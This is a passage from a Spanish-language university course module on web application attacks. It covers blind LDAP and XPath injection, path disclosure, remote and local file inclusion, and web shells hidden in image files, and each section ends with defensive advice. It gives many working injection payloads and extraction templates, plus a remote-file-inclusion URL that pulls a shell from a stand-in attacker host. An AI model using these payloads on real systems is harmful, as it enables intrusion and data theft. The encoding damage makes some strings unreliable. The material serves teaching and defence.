De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

